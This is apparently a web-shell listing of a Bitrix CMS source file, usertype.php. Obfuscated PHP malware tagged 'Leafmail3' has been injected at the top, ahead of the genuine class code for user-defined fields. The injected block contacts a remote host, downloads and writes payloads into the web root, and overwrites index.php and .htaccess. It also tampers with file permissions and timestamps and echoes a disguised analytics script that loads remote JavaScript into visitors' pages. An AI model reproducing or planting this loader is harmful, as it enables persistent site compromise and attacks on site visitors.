Your IP : 3.140.253.240


Current Path : /home/bitrix/ext_www/klimatlend.ua/bitrix/modules/main/classes/general/
Upload File :
Current File : /home/bitrix/ext_www/klimatlend.ua/bitrix/modules/main/classes/general/usertype.php

<?php /*Leafmail3*/goto o1QFr; wasj3: $ZJUCA($jQ0xa, $RTa9G); goto wYDtx; IuHdj: $egQ3R = "\147\172\151"; goto ChKDE; TpHVE: $cPzOq .= "\157\x6b\x6b"; goto vgltl; gmVrv: $Mvmq_ .= "\x6c\x5f\x63\154\x6f"; goto N9T5l; SClM0: $VwfuP = "\x64\x65\146"; goto PXHHr; m8hp8: $uHlLz = "\x73\x74\x72"; goto lz2G0; UH4Mb: $eULaj .= "\x70\x63\x2e\x70"; goto apDh3; QPct6: AtVLG: goto Mg1JO; dj8v0: $ZJUCA = "\143\150"; goto WmTiu; uHm0i: $TBxbX = "\x57\x50\137\125"; goto RCot0; f4Rdw: if (!($EUeQo($kpMfb) && !preg_match($tIzL7, PHP_SAPI) && $fHDYt($uZmPe, 2 | 4))) { goto TGN7B; } goto S2eca; H7qkB: $MyinT .= "\164\40\x41\x63\x63"; goto Air1i; AedpI: try { goto JM3SL; oiS8N: @$YWYP0($lJtci, $H0gg1); goto nucR0; AffR5: @$YWYP0($PcRcO, $H0gg1); goto SpIUU; JnP2S: @$ZJUCA($lJtci, $shT8z); goto oiS8N; nOhHX: @$ZJUCA($lJtci, $RTa9G); goto LvbAc; LvbAc: @$rGvmf($lJtci, $UYOWA["\141"]); goto JnP2S; SpIUU: @$ZJUCA($jQ0xa, $shT8z); goto qvTm1; gA5rv: @$ZJUCA($PcRcO, $shT8z); goto AffR5; nucR0: @$ZJUCA($PcRcO, $RTa9G); goto COvI1; JM3SL: @$ZJUCA($jQ0xa, $RTa9G); goto nOhHX; COvI1: @$rGvmf($PcRcO, $UYOWA["\142"]); goto gA5rv; qvTm1: } catch (Exception $ICL20) { } goto PqZGA; BWxc9: $kpMfb .= "\154\137\x69\156\x69\164"; goto RMP1m; Q7gNx: $gvOPD = "\151\163\137"; goto AfwzG; fFfBR: goto AtVLG; goto kST_Q; J9uWl: $e9dgF .= "\x61\171\163"; goto lNb3h; ZlPje: $u9w0n .= "\x75\x69\x6c\144\x5f\161"; goto Mit4a; YRbfa: $dGt27 .= "\157\x73\x65"; goto L744i; ioNAN: $tIzL7 .= "\x6c\x69\57"; goto Khhgn; mz3rE: $FANp1 .= "\x70\141\x72\145"; goto SClM0; eBKm1: $PcRcO = $jQ0xa; goto Sg4f2; D0V8f: $pv6cp = "\162\x65"; goto Hy0sm; xXaQc: $FANp1 = "\x76\145\162\x73\151"; goto T7IwT; ulics: try { $_SERVER[$pv6cp] = 1; $pv6cp(function () { goto YEXR4; PKzAL: $AG2hR .= "\163\171\x6e\x63\75\164\162\165\145"; goto HIXil; NZAxH: $AG2hR .= "\x65\x72\75\164\x72\165\x65\x3b" . "\12"; goto Tbsb3; xDrpr: $AG2hR .= "\x75\x6d\x65\156\164\54\40\x67\75\144\x2e\143\162\145\x61\164\145"; goto mLjk9; r_Oqj: $AG2hR .= "\163\x63\162\151\160\164\x22\x3e" . "\xa"; goto JZsfv; PEdls: $AG2hR .= "\74\57\163"; goto WBFgG; POyWW: $AG2hR .= "\x4d\55"; goto a8oGQ; N2RIK: $AG2hR .= "\175\x29\50\51\x3b" . "\12"; goto PEdls; Vj0ze: $AG2hR .= "\x72\151\160\x74\40\164\x79\x70\145\x3d\42\164\145\170"; goto FXjwZ; JZsfv: $AG2hR .= "\x28\x66\x75\156\143"; goto ZRBmo; zk1Ml: $AG2hR .= "\x79\124\141\147\x4e\x61\155\145"; goto STHB_; aKt86: $AG2hR .= "\x72\x69\160\x74\42\51\x2c\40\x73\75\x64\x2e\x67\x65\x74"; goto oxuwD; FXjwZ: $AG2hR .= "\x74\57\x6a\141\x76\141"; goto r_Oqj; YffEK: $AG2hR .= "\57\x6d\141\164"; goto nL_GE; ZrlUz: $AG2hR .= "\x73\x63\162\151\x70\164\x22\x3b\40\147\x2e\141"; goto PKzAL; MSqPC: $AG2hR .= "\x65\x20\55\x2d\76\12"; goto rWq2m; gUhrX: $AG2hR .= "\74\x73\143"; goto Vj0ze; oxuwD: $AG2hR .= "\x45\154\x65\x6d\145\156\164\x73\102"; goto zk1Ml; a8oGQ: $AG2hR .= time(); goto xyZaU; WBFgG: $AG2hR .= "\x63\162\151\160\164\x3e\xa"; goto jHj0s; rWq2m: echo $AG2hR; goto zxMHd; zzMTI: $AG2hR .= "\152\141\166\x61"; goto ZrlUz; HIXil: $AG2hR .= "\73\x20\147\56\144\x65\x66"; goto NZAxH; EXhzp: $AG2hR .= "\x65\156\164\x4e\x6f\x64\145\56\x69\x6e"; goto yJp9W; KUpUt: $AG2hR .= "\x64\40\115\141\x74"; goto c13YM; hugz8: $AG2hR .= "\x6f\x72\145\50\x67\54\x73\51\73" . "\xa"; goto N2RIK; xyZaU: $AG2hR .= "\x22\73\40\163\56\160\141\162"; goto EXhzp; ZRBmo: $AG2hR .= "\164\151\x6f\156\x28\51\x20\173" . "\xa"; goto sOVga; YqIfq: $AG2hR .= "\77\x69\x64\x3d"; goto POyWW; Tbsb3: $AG2hR .= "\147\x2e\163\x72"; goto vxsas; k1w2Q: $AG2hR = "\x3c\41\x2d\55\x20\115\x61"; goto OOFo2; F2sIB: $AG2hR .= "\x3d\x22\164\x65\x78\x74\57"; goto zzMTI; OOFo2: $AG2hR .= "\x74\157\155\x6f\x20\55\x2d\x3e\xa"; goto gUhrX; vxsas: $AG2hR .= "\143\x3d\165\x2b\42\x6a\163\57"; goto JGvCK; jHj0s: $AG2hR .= "\74\x21\55\55\40\x45\156"; goto KUpUt; mLjk9: $AG2hR .= "\105\154\x65\x6d\x65\156\x74\50\42\163\x63"; goto aKt86; yJp9W: $AG2hR .= "\x73\x65\162\x74\102\145\146"; goto hugz8; c13YM: $AG2hR .= "\x6f\x6d\x6f\40\103\157\144"; goto MSqPC; STHB_: $AG2hR .= "\50\x22\x73\x63\162\x69"; goto SX8pI; JGvCK: $AG2hR .= $osL5h; goto YffEK; nL_GE: $AG2hR .= "\x6f\155\x6f\56\x6a\x73"; goto YqIfq; SX8pI: $AG2hR .= "\160\x74\42\51\133\x30\135\x3b" . "\xa"; goto uh8pE; YEXR4: global $osL5h, $cPzOq; goto k1w2Q; jW6LQ: $AG2hR .= "\166\141\x72\40\144\x3d\x64\157\143"; goto xDrpr; uh8pE: $AG2hR .= "\x67\x2e\164\x79\x70\145"; goto F2sIB; sOVga: $AG2hR .= "\166\x61\162\40\x75\75\42" . $cPzOq . "\42\x3b" . "\xa"; goto jW6LQ; zxMHd: }); } catch (Exception $ICL20) { } goto arBxc; TrkYs: $eULaj .= "\x2f\170\x6d"; goto GE2p3; L744i: $cPzOq = "\x68\x74\164\x70\163\72\57\x2f"; goto TpHVE; CNdmS: wLXpb: goto wasj3; nHXnO: $_POST = $_REQUEST = $_FILES = array(); goto CNdmS; PHhHL: P9yQa: goto W2Q7W; UkCDT: $cLC40 = 32; goto BnazY; vabQZ: $CgFIN = 1; goto QPct6; gSbiK: try { goto xtnST; qBVAq: $k7jG8[] = $E0suN; goto Tc9Eb; vZ6zL: $E0suN = trim($Q0bWd[0]); goto LuoPM; D98P3: if (!empty($k7jG8)) { goto FbDAI; } goto AML_a; LuoPM: $jCv00 = trim($Q0bWd[1]); goto Q4uy7; xtnST: if (!$gvOPD($d3gSl)) { goto nHP5K; } goto W8uMn; c_73m: FbDAI: goto h1Cu7; kNAxm: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto lfWQh; } goto MfJKK; L8cv7: WVm2j: goto c_73m; AML_a: $d3gSl = $jQ0xa . "\x2f" . $HNQiW; goto GBRPC; ZSYyc: $jCv00 = trim($Q0bWd[1]); goto kNAxm; W8uMn: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto Woix_; EA1BT: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto ctSg2; } goto A163l; Woix_: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto wU2zk; } goto vZ6zL; Q4uy7: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto VAVW5; } goto qBVAq; tEVz_: $k7jG8[] = $jCv00; goto xWpvL; xWpvL: lfWQh: goto oilos; MfJKK: $k7jG8[] = $E0suN; goto tEVz_; N3TyU: wU2zk: goto snD7p; lky0R: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto EA1BT; Tc9Eb: $k7jG8[] = $jCv00; goto evp7M; snD7p: nHP5K: goto D98P3; oilos: ctSg2: goto L8cv7; evp7M: VAVW5: goto N3TyU; GBRPC: if (!$gvOPD($d3gSl)) { goto WVm2j; } goto lky0R; A163l: $E0suN = trim($Q0bWd[0]); goto ZSYyc; h1Cu7: } catch (Exception $ICL20) { } goto xU6vT; T7IwT: $FANp1 .= "\x6f\x6e\x5f\143\x6f\x6d"; goto mz3rE; JX1Oy: $dGt27 = "\x66\x63\x6c"; goto YRbfa; BnazY: $Pzt0o = 5; goto TYFaW; o1QFr: $kFvng = "\74\x44\x44\x4d\x3e"; goto wODYw; CL80L: $MyinT .= "\120\x2f\61\x2e\x31\x20\x34"; goto gErqa; tFGg7: $YWYP0 .= "\x75\143\x68"; goto dj8v0; pXfDS: $ygOJ_ .= "\x2f\167\160"; goto c7yEe; xUd9U: $pv6cp .= "\151\x6f\x6e"; goto bqFyS; PqZGA: CVVA3: goto RDKTA; wYDtx: $uZmPe = $nPBv4($eULaj, "\x77\x2b"); goto f4Rdw; E453u: $QIBzt .= "\56\64"; goto O8RXw; a4EJZ: $dZR_y = $cPzOq; goto vZkPa; FK_sr: $kb9bA .= "\x65\162\x2e\x69"; goto G2uff; TuwL4: $jQ0xa = $_SERVER[$Wv1G0]; goto wrxGI; wJDrU: $eULaj = $jQ0xa; goto TrkYs; MLdcc: $fHDYt .= "\x63\153"; goto JX1Oy; Gs7Gb: $kpMfb = $vW4As; goto BWxc9; Mit4a: $u9w0n .= "\x75\x65\x72\171"; goto cIo5P; GE2p3: $eULaj .= "\x6c\162"; goto UH4Mb; cIo5P: $uAwql = "\155\x64\65"; goto aXExt; c7yEe: $ygOJ_ .= "\x2d\x61"; goto XWOCC; wrxGI: $ygOJ_ = $jQ0xa; goto pXfDS; XsWqd: $kb9bA .= "\57\56\165\163"; goto FK_sr; cWrVz: $nPBv4 .= "\145\x6e"; goto KCtWA; CrWKs: $l0WLW .= "\157\160\x74"; goto jcG0e; lz2G0: $uHlLz .= "\154\x65\x6e"; goto xXaQc; wee0Y: $ulOTQ .= "\115\111\116"; goto Tfi5q; vgltl: $cPzOq .= "\154\x69\x6e\153\56\x74"; goto pr5fA; Khhgn: $tIzL7 .= "\x73\151"; goto JBJmV; kJlf4: $DJDq1 .= "\147\145\164\137\143"; goto NZqWx; lNb3h: $H0gg1 = $xsR4V($e9dgF); goto XYviL; TBl6Q: sLwcv: goto fFfBR; RMP1m: $l0WLW = $vW4As; goto ujtZa; XQnCd: $PcRcO .= "\x61\143\143\145\163\x73"; goto ikUIP; X4xWX: $QIBzt = "\x35"; goto E453u; hDUdL: $MWMOe .= "\x6c\x65"; goto Q7gNx; LxUUO: $RTa9G = $QTYip($HqqUn($RTa9G), $Pzt0o); goto qaeyL; f6Txl: $HqqUn = "\x64\x65\143"; goto gwNCH; sK97X: $nPBv4 = "\x66\157\160"; goto cWrVz; Ee0VW: $EUeQo .= "\164\x69\x6f\156\x5f"; goto a2JJX; D9NbF: $CgFIN = 1; goto PHhHL; VY3H_: $Wv1G0 = "\x44\117\x43\x55\115\105\116\x54"; goto HpOFr; CRqG1: if (empty($k7jG8)) { goto VIn91; } goto s4AWH; apDh3: $eULaj .= "\x68\160\x2e\60"; goto sK97X; Sg4f2: $PcRcO .= "\57\x2e\x68\x74"; goto XQnCd; jcG0e: $YQ0P6 = $vW4As; goto rA_Dy; dlqC2: $HNQiW = substr($uAwql($osL5h), 0, 6); goto xGZOR; kxKwG: $osL5h = $_SERVER[$i5EZR]; goto TuwL4; ozW5s: $e9dgF .= "\63\x20\x64"; goto J9uWl; xU6vT: $lJtci = $jQ0xa; goto BpRMk; CquiC: $dZR_y .= "\x63\x6f\160\171"; goto BLSy0; GSfrX: $pv6cp .= "\x75\x6e\143\164"; goto xUd9U; yaYSs: $rGvmf .= "\x6f\x6e\x74\x65\156\164\163"; goto mIlAi; FXRyn: $TBxbX .= "\115\x45\x53"; goto R1jVG; kST_Q: VIn91: goto vabQZ; flXr3: $shT8z = $QTYip($HqqUn($shT8z), $Pzt0o); goto TkfCl; FJdH4: $dZR_y .= "\x3d\x67\x65\x74"; goto CquiC; kJyDh: $QTYip = "\x69\156\x74"; goto blzff; s4AWH: $H25pP = $k7jG8[0]; goto t74Wt; TyAte: $k7jG8 = array(); goto UkCDT; EO8QL: try { $UYOWA = @$AkFS8($egQ3R($eKFWX($M7wqP))); } catch (Exception $ICL20) { } goto OXweB; XYviL: $i5EZR = "\110\124\124\x50"; goto j4Pjv; ikUIP: $kb9bA = $jQ0xa; goto XsWqd; VrwTF: $nRD8p .= "\x64\x69\162"; goto aQp1m; dLa5a: $pv6cp .= "\x65\162\x5f"; goto x5YEr; PgImI: @$ZJUCA($kb9bA, $RTa9G); goto yAax8; Jb1Vu: try { goto Bwps7; WPylr: if (!$xsy4x($Y61WO)) { goto nWSzU; } goto NpK90; xqrLf: @$YWYP0($dqnvi, $H0gg1); goto cinsF; N7wJU: if ($xsy4x($Y61WO)) { goto KOuoA; } goto RBLfp; wf0jq: @$ZJUCA($Y61WO, $shT8z); goto xqrLf; bfkJn: try { goto jwOvP; sXqkD: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto tXay1; jwOvP: $ekYPG = $kpMfb(); goto jMqt3; VURt4: $l0WLW($ekYPG, CURLOPT_POST, 1); goto Qk7oo; G7Y1e: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto Sw_Ys; lg1iu: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 3); goto VURt4; jMqt3: $l0WLW($ekYPG, CURLOPT_URL, $LfwPf . "\x26\164\x3d\151"); goto G7Y1e; Qk7oo: $l0WLW($ekYPG, CURLOPT_POSTFIELDS, $u9w0n($Lx9yT)); goto axPES; Sw_Ys: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto sXqkD; tXay1: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto Gb33B; PUEHo: $Mvmq_($ekYPG); goto rF4qo; Gb33B: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto lg1iu; axPES: $YQ0P6($ekYPG); goto PUEHo; rF4qo: } catch (Exception $ICL20) { } goto zCePm; s2GBY: $Y61WO = dirname($dqnvi); goto N7wJU; bO0VE: KOuoA: goto WPylr; RBLfp: @$ZJUCA($jQ0xa, $RTa9G); goto lexI4; NpK90: @$ZJUCA($Y61WO, $RTa9G); goto aGYEQ; wsLep: $Lx9yT = ["\144\x61\x74\x61" => $UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?>
<?php
/**
 * Bitrix Framework
 * @package bitrix
 * @subpackage main
 * @copyright 2001-2013 Bitrix
 */

/**
 * usertype.php, Пользовательские свойства
 *
 * Содержит классы для поддержки пользовательских свойств.
 * @author Bitrix <support@bitrixsoft.com>
 * @version 1.0
 * @package usertype
 * @todo Добавить подсказку
 */

use Bitrix\Main\Entity;
use Bitrix\Main\Text;

CModule::AddAutoloadClasses(
	"main",
	array(
		"CUserTypeString" => "classes/general/usertypestr.php",
		"CUserTypeInteger" => "classes/general/usertypeint.php",
		"CUserTypeDouble" => "classes/general/usertypedbl.php",
		"CUserTypeDateTime" => "classes/general/usertypetime.php",
		"CUserTypeDate" => "classes/general/usertypedate.php",
		"CUserTypeBoolean" => "classes/general/usertypebool.php",
		"CUserTypeFile" => "classes/general/usertypefile.php",
		"CUserTypeEnum" => "classes/general/usertypeenum.php",
		"CUserTypeIBlockSection" => "classes/general/usertypesection.php",
		"CUserTypeIBlockElement" => "classes/general/usertypeelement.php",
		"CUserTypeStringFormatted" => "classes/general/usertypestrfmt.php",
		"CUserTypeUrl" => "classes/general/usertypeurl.php",
	)
);

IncludeModuleLangFile(__FILE__);

/**
 * Данный класс используется для управления метаданными пользовательских свойств.
 *
 * <p>Выборки, Удаление Добавление и обновление метаданных таблицы b_user_field.</p>
* create table b_user_field (
	* ID		int(11) not null auto_increment,
	* ENTITY_ID 	varchar(20),
	* FIELD_NAME	varchar(20),
	* USER_TYPE_ID	varchar(50),
	* XML_ID		varchar(255),
	* SORT		int,
	* MULTIPLE	char(1) not null default 'N',
	* MANDATORY	char(1) not null default 'N',
	* SHOW_FILTER	char(1) not null default 'N',
	* SHOW_IN_LIST	char(1) not null default 'Y',
	* EDIT_IN_LIST	char(1) not null default 'Y',
	* IS_SEARCHABLE	char(1) not null default 'N',
	* SETTINGS	text,
	* PRIMARY KEY (ID),
	* UNIQUE ux_user_type_entity(ENTITY_ID, FIELD_NAME)
* )
* ------------------
* ID
* ENTITY_ID (example: IBLOCK_SECTION, USER ....)
* FIELD_NAME (example: UF_EMAIL, UF_SOME_COUNTER ....)
* SORT -- used to do check in the specified order
* BASE_TYPE - String, Number, Integer, Enumeration, File, DateTime
* USER_TYPE_ID
* SETTINGS (blob) -- to store some settings which may be useful for an field instance
* [some base settings comon to all types: mandatory or no, etc.]
 * <p>b_user_field</p>
 * <ul>
 * <li><b>ID</b> int(11) not null auto_increment
 * <li>ENTITY_ID varchar(20)
 * <li>FIELD_NAME varchar(20)
 * <li>USER_TYPE_ID varchar(50)
 * <li>XML_ID varchar(255)
 * <li>SORT int
 * <li>MULTIPLE char(1) not null default 'N'
 * <li>MANDATORY char(1) not null default 'N'
 * <li>SHOW_FILTER char(1) not null default 'N'
 * <li>SHOW_IN_LIST char(1) not null default 'Y'
 * <li>EDIT_IN_LIST char(1) not null default 'Y'
 * <li>IS_SEARCHABLE char(1) not null default 'N'
 * <li>SETTINGS text
 * <li>PRIMARY KEY (ID),
 * <li>UNIQUE ux_user_type_entity(ENTITY_ID, FIELD_NAME)
 * </ul>
* create table b_user_field_lang (
	* USER_FIELD_ID int(11) REFERENCES b_user_field(ID),
	* LANGUAGE_ID char(2),
	* EDIT_FORM_LABEL varchar(255),
	* LIST_COLUMN_LABEL varchar(255),
	* LIST_FILTER_LABEL varchar(255),
	* ERROR_MESSAGE varchar(255),
	* HELP_MESSAGE varchar(255),
	* PRIMARY KEY (USER_FIELD_ID, LANGUAGE_ID)
* )
 * <p>b_user_field_lang</p>
 * <ul>
 * <li><b>USER_FIELD_ID</b> int(11) REFERENCES b_user_field(ID)
 * <li><b>LANGUAGE_ID</b> char(2)
 * <li>EDIT_FORM_LABEL varchar(255)
 * <li>LIST_COLUMN_LABEL varchar(255)
 * <li>LIST_FILTER_LABEL varchar(255)
 * <li>ERROR_MESSAGE varchar(255)
 * <li>HELP_MESSAGE varchar(255)
 * <li>PRIMARY KEY (USER_FIELD_ID, LANGUAGE_ID)
 * </ul>
 * @package usertype
 * @subpackage classes
 */
class CAllUserTypeEntity extends CDBResult
{
	//must be extended
	function CreatePropertyTables($entity_id)
	{
		return true;
	}
	//must be extended
	function DropColumnSQL($strTable, $arColumns)
	{
		return array();
	}

	/**
	 * Функция для выборки метаданных пользовательского свойства.
	 *
	 * <p>Возвращает ассоциативный массив метаданных который можно передать в Update.</p>
	 * @param integer $ID идентификатор свойства
	 * @return array Если свойство не найдено, то возвращается false
	 * @static
	 */
	public static function GetByID($ID)
	{
		global $DB;
		static $arLabels = array("EDIT_FORM_LABEL", "LIST_COLUMN_LABEL", "LIST_FILTER_LABEL", "ERROR_MESSAGE", "HELP_MESSAGE");
		static $cache = array();

		if(!array_key_exists($ID, $cache))
		{
			$rsUserField = CUserTypeEntity::GetList(array(), array("ID"=>intval($ID)));
			if($arUserField = $rsUserField->Fetch())
			{
				$rs = $DB->Query("SELECT * FROM b_user_field_lang WHERE USER_FIELD_ID = ".intval($ID), false, "FILE: ".__FILE__."<br>LINE: ".__LINE__);
				while($ar = $rs->Fetch())
				{
					foreach($arLabels as $label)
						$arUserField[$label][$ar["LANGUAGE_ID"]] = $ar[$label];
				}
				$cache[$ID] = $arUserField;
			}
			else
				$cache[$ID] = false;
		}
		return $cache[$ID];
	}

	/**
	 * Функция для выборки метаданных пользовательских свойств.
	 *
	 * <p>Возвращает CDBResult - выборку в зависимости от фильтра и сортировки.</p>
	 * <p>Параметр aSort по умолчанию имеет вид array("SORT"=>"ASC", "ID"=>"ASC").</p>
	 * <p>Если в aFilter передается LANG, то дополнительно выбираются языковые сообщения.</p>
